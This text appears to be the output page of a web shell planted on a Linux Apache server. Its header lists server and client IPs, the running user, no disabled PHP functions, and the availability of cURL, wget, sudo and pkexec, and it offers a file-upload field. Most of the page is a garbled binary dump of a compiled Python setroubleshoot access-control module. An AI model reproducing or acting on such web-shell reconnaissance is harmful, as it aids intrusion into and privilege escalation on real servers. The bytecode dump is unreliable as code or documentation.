| Server IP : 188.151.22.197 / Your IP : 216.73.217.74 Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5 System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64 User : apache ( 48) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3.9/site-packages/setroubleshoot/__pycache__/ |
Upload File : |
a
Q�il � @ s� d Z ddlZddlZddlZddlmZ ddlmZ dgZ z
ej
Z
W n� ey� ddlZddl
Z
e�� d Ze
�de�r�dZ
n^e
�d e�r�dZ
nLe
�d
e�r�dZ
n:e
�de�r�d
Z
n(e
�de�r�dZ
ne
�de�r�dZ
ndZ
Y n0 G dd� d�ZdS )z�Access control for setroubleshoot. For now this is only used for
determining which users are allowed to connect to the server: see
UserServerAccess for more information.� N)�
get_config)�syslog_trace�ServerAccess� z^i\d86� z^x86_64z^(ppc|powerpc)� z
^(alpha|mips)� z^sparc�@ z^parisci@ c @ sZ e Zd ZdZddiddid�Zdd� Zdd � Zd
d� Zdd
� Zdd� Z dd� Z
dd� ZdS )r zg
Determine if a user should be given access to the server based
on the configuration file.
�wildcardTF)ZclientZfix_cmdc C s. i | _ ttj �� �D ]}| �|�| j |<